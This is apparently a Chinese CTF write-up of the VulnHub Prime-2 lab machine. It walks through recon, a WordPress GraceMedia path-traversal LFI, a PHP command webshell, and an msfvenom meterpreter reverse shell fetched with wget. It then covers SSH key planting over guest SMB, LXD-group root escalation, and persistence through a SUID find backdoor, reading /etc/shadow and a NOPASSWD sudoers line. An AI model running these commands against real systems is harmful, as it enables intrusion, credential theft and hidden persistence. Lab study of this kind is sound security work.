prime-2 靶场笔记(vuInhub靶场)

前言:

        在本次靶场环境中涉及的知识点,主要包含LFI和SMB以及Lxd组提权,具体内容包括主机探测、端口扫描、目录扫描、wpscan扫描、反弹shell、一句话木马、容器、linux各种提权和维持。

环境介绍:

        本靶场使用了kali(192.168.144.128) 靶机Ubuntu系统(192.168.144.179)

靶机下载地址:https://download.vulnhub.com/prime-2021/Prime-2.ova

一:信息收集

1. 主机探测:

当我们下载好靶机时,它是登录不上的,无法使用ifconfig命令查看,我们就需要使用nmap等工具进行探测,找到准确的靶机IP地址。

命令:

 nmap -P0 192.168.144.0/24

发现了靶机的IP地址:192.168.144.179

1.1. 端口探测:

使用如下命令进行探测:

nmap -p 1-65535 -A 192.168.144.179

发现有如下端口进行开放并搜集到了开放的服务:

22:ssh OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)

80:http  Apache/2.4.46 (Ubuntu)

139:netbios-ssn Samba smbd 4.6.2

445:netbios-ssn Samba smbd 4.6.2

10123:http      SimpleHTTPServer 0.6 (Python 3.9.4)

1.2. 目录扫描:

先进行web方向的探测:

打开网页,发现没有什么有用的信息,接着进行目录扫描,看看能不能找到隐藏的目录信息:

我使用的是dirb工具,命令如下:

dirb http://192.168.144.179/

发现了如下目录:

http://192.168.144.179/css/ 


http://192.168.144.179/images/ 


http://192.168.144.179/server/   


http://192.168.144.179/wp/     

我每一个都看了一下发现没什么有用的信息,但是这个wordpress先放一下,因为10123端口也是http服务,在看一下那个。

我在.bash_history中发现了这些内容:

sudo su -
ifconfig
ls
cd upload/
ls
ls -l
cd ..
ls -l
chmod 755 jarves/

jarves可能是个用户,接着往下找,在something中发现了一点“提示”,jarvus确定是用户了

              

还在upload目录下找到了一个shell.php文件,属于命令注入漏洞,内容如下:

<?php echo system($_GET['cmd']);?>

但是现在还不知道怎么使用。

1.3. wpscan扫描:

好了,现在就剩下wordpress没看了,我在这里使用了wpscan进行漏洞扫描了一下,注意:这里使用了API token(免费的噢~ 但有上限)还没有用过的兄弟们,可以试下。

传送门如下:

【网安神器篇】——WPScan漏洞扫描工具_wpscan下载-CSDN博客

wpscan --url http://192.168.144.179/wp/ --api-token <你的token>


扫描到了LFI漏洞。

二:漏洞利用

2.LFI漏洞(本地文件包含):

访问payload地址:

WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion - PHP webapps Exploit

进行利用:(我这里使用了访问源代码的方式,可以看起来更整洁一些)

view-source:192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

利用成功,这时可以和之前发现的shell.php进行联用。

view-source:192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=whoami

利用成功。

2.1.方式一 反弹shell:

使用msf生成一个php脚本

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.144.128 LPORT=6666 -f raw > shell.php

在生成脚本的目录下输入命令:

python -m http.server 8888    

靶机进行下载该文件:

使用了wget命令:从kali上下载文件到靶机的/tmp目录下(一般/tmp目录普通用户也具有写的权限)

http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=wget%20http://192.168.144.128:8888/shell.php%20-O%20/tmp/shell.php

发现靶机请求了kali的资源,说明写入成功,不相信的话也可以进行查看(使用F12)

http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=cat /tmp/shell.php

接着在kali进行监听:

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.144.128

set lport 6666

run

触发请求:

http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../tmp/shell.php

监听成功。

2.2.方式二 上传一句话木马:

和前面同理:

上传一句话木马文件:

http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=wget%20http://192.168.144.128:8888/shell1.php%20-O%20/tmp/shell1.php

收到了靶机的请求,上穿成功,使用蚁剑进行连接。

三:linux权限提升(Lxd提权)

3.SMB介绍:

‌SMB(Server Message Block)服务是一种在局域网上共享文件和打印机的通信协议,主要用于局域网内的不同计算机之间提供文件及打印机等资源的共享服务

查看smb的配置文件:

cat /etc/samba/smb.conf

表明允许没有进行身份验证的访客用户访问通过 net usershare 创建的用户共享资源。

那么我们就可以使用smbclient命令行工具了

3.1.smbclient利用 及 ssh key免密登录::

smbclient

     smbclient是一个smb服务器的客户端的管理程序,可以交互式的访问samba服务器。

详细内容请看传送门:

Linux基础命令----smbclient - 一生有你llx - 博客园

查看SMB服务器所提供的所有共享资源:

smbclient -N -L  \\\\192.168.144.179

在进行查看你welcome文件夹:

smbclient -N  \\\\192.168.144.179\\welcome

尝试写入SSH KEY

创建一个.ssh的文件夹:

在kali上生成ssh key 命令如下:生成的公钥会在/root/.ssh/目录下

ssh-keygen

需要把id_rsa.pub文件名改为authorized_keys(需要进入/root/.ssh目录下)

 mv id_rsa.pub authorized_keys

将公钥传入到靶机的.ssh目录下:注意不要进入靶机的.ssh目录下输入如下指令,否则传不进去

put /root/.ssh/authorized_keys .ssh/authorized_keys

使用ssh进行连接:

ssh jarves@192.168.144.179

使用id命令进行查看:发现有Lxd的权限

3.2.  Lxd介绍:

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

传送门如下:

lxd/lxc组提权 - hirak0 - 博客园

3.3. 利用Lxd进行Linux权限提升

需要下载lxd-alpine-builder-master.zip,大家可以通过百度网盘进行下载,在传入kali去。
链接如下:

https://pan.baidu.com/s/1KXmXVuAI4XGoj9CO0cE11A?pwd=tzyr 提取码: tzyr

kali:在压缩包解压后的路径中,如下图所示:

python -m http.server 8888

在靶机输入:(注意路径!!)再靶机中不需要解压!!!

wget 192.168.144.128:8888/alpine-v3.13-x86_64-20210218_0139.tar.gz /alpine-v3.13-x86_64-20210218_0139.tar.gz

命令如下依次输入:

初始化:
lxd init                #一直按回车就行

导入镜像:
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage

查看镜像:
lxc image list

进入容器:
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

权限为root,提权成功。

补充:

mnt目录:

        在类 Unix 系统(如 Linux)中是一个用于临时挂载文件系统的目录。这道题是把主机挂在到了容器里面。

四.权限维持:

4. SUID后门:

我在这里拿find命令进行演示:

对find设置为SUID权限(后门创建)

chmod u+s /mnt/root/usr/bin/find

查找SUID文件(普通的用户jarves

find / -user root -perm -4000 -print 2>/dev/null

1. find 命令
find 是一个强大的文件搜索工具,用于在指定目录及其子目录中查找符合特定条件的文件和目录。
2. /
这是 find 命令的搜索起始目录,表示从根目录开始搜索整个文件系统。
3. -user root
该选项用于指定搜索条件,即只查找由 root 用户拥有的文件和目录。在 Unix 系统中,每个文件和目录都有一个所有者,root 用户是系统的超级管理员,拥有最高权限。
4. -perm -4000
这是一个权限搜索条件。在 Unix 系统中,文件权限使用数字表示,每个权限位对应一个数值。4000 对应的是 SUID 权限。
SUID(Set User ID)是一种特殊的文件权限,当一个具有 SUID 权限的可执行文件被执行时,它会以文件所有者的身份运行。对于由 root 用户拥有且设置了 SUID 权限的文件,任何用户执行该文件时,都会以 root 用户的身份运行,这可能会带来安全风险。
- 前缀表示文件必须包含指定的所有权限位,即文件必须设置了 SUID 权限。
5. -print
该选项用于指定 find 命令的操作,即打印符合条件的文件和目录的路径。这是 find 命令的默认操作,所以在实际使用中,-print 可以省略。
6. 2>/dev/null
这是一个重定向操作。在 Unix 系统中,标准错误输出的文件描述符是 2,/dev/null 是一个特殊的设备文件,写入其中的数据会被丢弃。因此,2>/dev/null 的作用是将 find 命令执行过程中产生的错误信息重定向到 /dev/null,从而避免在终端上显示这些错误信息。

在SUID权限中找到了find命令:

touch anyfile #必须要有这个文件
find anyfile -exec cat /etc/shadow \;    #可以查看shadow文件了,还想要shell
find . -exec /bin/sh -p \; -quit
python3 -c 'import pty;pty.spawn("/bin/bash")';

 //在类 Unix 系统的命令行环境下执行的一条命令,其核心目的是借助 Python 代码创建一个交互式的 Bash shell。

4.1.SUDO后门:

在sudoers中添加后门

echo 'jarves   ALL=(ALL:ALL) NOPASSWD:ALL' >> /mnt/root/etc/sudoers

参考文章:

lxd/lxc组提权 - hirak0 - 博客园

https://blog.csdn.net/weixin_45221204/article/details/139530533

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/79233.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SparseDrive---论文阅读

纯视觉下的稀疏场景表示 算法动机&开创性思路 算法动机&#xff1a; 依赖于计算成本高昂的鸟瞰图&#xff08;BEV&#xff09;特征表示。预测和规划的设计过于直接&#xff0c;没有充分利用周围代理和自我车辆之间的高阶和双向交互。场景信息是在agent周围提取&#xff…

旅游特种兵迪士尼大作战:DeepSeek高精准路径优化

DeepSeek大模型高性能核心技术与多模态融合开发 - 商品搜索 - 京东 随着假期的脚步日渐临近&#xff0c;环球影城等备受瞩目的主题游乐场&#xff0c;已然成为大人与孩子们心中不可或缺的节日狂欢圣地。然而&#xff0c;随之而来的庞大客流&#xff0c;却总让无数游客在欢乐的…

android rtsp 拉流h264 h265,解码nv12转码nv21耗时卡顿问题及ffmpeg优化

一、 背景介绍及问题概述 项目需求需要在rk3568开发板上面&#xff0c;通过rtsp协议拉流的形式获取摄像头预览&#xff0c;然后进行人脸识别 姿态识别等后续其它操作。由于rtsp协议一般使用h.264 h265视频编码格式&#xff08;也叫 AVC 和 HEVC&#xff09;是不能直接用于后续处…

运维面试题(十四)

6.将日志从一台服务器保存到另一台服务器中的方法 1.使用 rsync 同步日志文件 2.使用 scp 手动或脚本化传输 3.配置日志服务&#xff08;如 syslog 或 rsyslog &#xff09;远程传输  4.编写脚本定时上传&#xff1a;结合 cron 定时任务和传输工具&#xff0c;编…

永磁同步电机控制中,滑模观测器是基于反电动势观测转子速度和角度的?扩展卡尔曼滤波观测器是基于什么观测的?扩展卡尔曼滤波观测器也是基于反电动势吗?

滑模观测器在PMSM中的应用&#xff1a; 滑模观测器是一种非线性观测器&#xff0c;利用切换函数设计&#xff0c;使得状态估计误差迅速趋近于零&#xff0c;实现快速响应和对外部干扰的鲁棒性。 在永磁同步电机&#xff08;PMSM&#xff09;无传感器控制中&#xff0c;滑模观测…

【前端】Vue一本通 ESLint JSX

近几天更新完毕&#xff0c;不定期持续更新&#xff0c;建议关注收藏点赞。 目录 工具推荐vscode插件vue-devtoolsESLint JSX语法扩展简介设计模式快速入门 vue/cli脚手架使用vue指令 工具推荐 工欲善其事&#xff0c;必先利其器。 vscode插件 Vetur&#xff1a;vue代码高亮…

【adb】bat批处理+adb 自动亮屏,自动解锁屏幕,启动王者荣耀

准备adb 下载 需要确认是否安装了adb.exe文件,可以在: 任务管理器 -->详细信息–>找一下后台运行的adb 安装过anroid模拟器,也存在adb,例如:雷电安装目录 D:\leidian\LDPlayer9 单独下载adb 官方下载地址:[官方网址] 下载目录文件: 测试adb USB连接手机 首先在设置界…

微信小程序转为App实践篇 FinClip

参考下面链接先 开始实践 微信小程序转为App并上架应用市场_微信小程序生成app-CSDN博客 首先在FinClip 官网上下载应用 小程序开发工具下载_小程序sdk下载资源-FinClip资源下载|泰坪小程序开放平台 下载到本地安装 打开导入自己的小程序项目&#xff1b;导入时会解析自己的…

arco design框架中的树形表格使用中的缓存问题

目录 1.问题 2.解决方案 1.问题 arco design框架中的树形表格使用中的缓存问题&#xff0c;使用了树形表格的load-more懒加载 点击展开按钮后&#xff0c;点击关闭&#xff0c;再次点击展开按钮时&#xff0c;没有调用查询接口&#xff0c;而是使用了缓存的数据。 2.解决方…

100个GEO基因表达芯片或转录组数据处理023.GSE24807

100个GEO基因表达芯片或转录组数据处理 写在前边 虽然现在是高通量测序的时代&#xff0c;但是GEO、ArrayExpress等数据库储存并公开大量的基因表达芯片数据&#xff0c;还是会有大量的需求去处理芯片数据&#xff0c;并且建模或验证自己所研究基因的表达情况&#xff0c;芯片…

SAP ECCS标准报表在报表中不存在特征CG细分期间 消息号 GK715报错分析

ECCS报表执行报错&#xff1a; 在报表中不存在特征CG细分期间 消息号 GK715 诊断 未在报表中指定特征CG细分期间。但是&#xff0c;同时需要特征CG细分期间和其它特征。例如&#xff1a; 期间’需要用于扩展合并组。 系统响应 处理终止 步骤 调整报表定义。 报这个错。 业务背景…

spring boot 文件下载

1.添加文件下载工具依赖 Commons IO is a library of utilities to assist with developing IO functionality. <dependency><groupId>commons-io</groupId><artifactId>commons-io</artifactId><version>2.6</version> </depe…

FastAPI 中定义接口函数参数,包含请求体参数、查询参数、依赖注入参数的组合

FastAPI 中定义接口函数参数&#xff0c;包含请求体参数、查询参数、依赖注入参数的组合。 ✅ 示例结构 async def chat(request: Request,data: ChatData,conversation_id: Optional[str] Query(None),current_user: User Depends(get_current_user), ):这表示你定义了一个…

实用类题目

1. 密码强度检测 题目描述&#xff1a;生活中&#xff0c;为保证账户安全&#xff0c;密码需要有一定强度。编写一个方法&#xff0c;接收一个字符串作为密码&#xff0c;判断其是否符合以下强度要求&#xff1a;长度至少为 8 位&#xff0c;包含至少一个大写字母、一个小写字…

MATLAB学习笔记(二) 控制工程会用到的

MATLAB中 控制工程会用到的 基础传递函数表达传递函数 零极点式 状态空间表达式 相互转化画响应图线根轨迹Nyquist图和bode图现控部分求约旦判能控能观极点配置和状态观测 基础 传递函数表达 % 拉普拉斯变换 syms t s a f exp(a*t) %e的a次方 l laplace(f) …

基于YOLOv9的课堂行为检测系统

基于YOLOv9的课堂行为检测系统 项目概述 本项目是一个基于YOLOv9深度学习模型的课堂行为检测系统&#xff0c;旨在通过计算机视觉技术自动识别和监测课堂中学生的各种行为状态&#xff0c;帮助教师更好地了解课堂教学效果。 项目结构 课堂行为检测/ ├── data/ │ ├──…

C 语言中的 volatile 关键字

1、概念 volatile 是 C/C 语言中的一个类型修饰符&#xff0c;用于告知编译器&#xff1a;该变量的值可能会在程序控制流之外被意外修改&#xff08;如硬件寄存器、多线程共享变量或信号处理函数等&#xff09;&#xff0c;因此编译器不应对其进行激进的优化&#xff08;如缓存…

java 洛谷题单【算法2-1】前缀和、差分与离散化

P8218 【深进1.例1】求区间和 解题思路 前缀和数组&#xff1a; prefixSum[i] 表示数组 a 的前 (i) 项的和。通过 prefixSum[r] - prefixSum[l - 1] 可以快速计算区间 ([l, r]) 的和。 时间复杂度&#xff1a; 构建前缀和数组的时间复杂度是 (O(n))。每次查询的时间复杂度是 …

绿盟二面面试题

5000篇网安资料库https://mp.weixin.qq.com/s?__bizMzkwNjY1Mzc0Nw&mid2247486065&idx2&snb30ade8200e842743339d428f414475e&chksmc0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene21#wechat_redirect 1. 原理深度&…

线程安全学习

1 什么是线程 线程是cpu调度的最小单位&#xff0c;在Linux 下 实现线程的方式为轻量级进程&#xff0c;复用进程的结构体&#xff0c;使用clone函数创建 2 线程安全 所谓线程安全&#xff0c;更确切的应该描述为内存安全 #include <stdio.h> #include <pthread.h…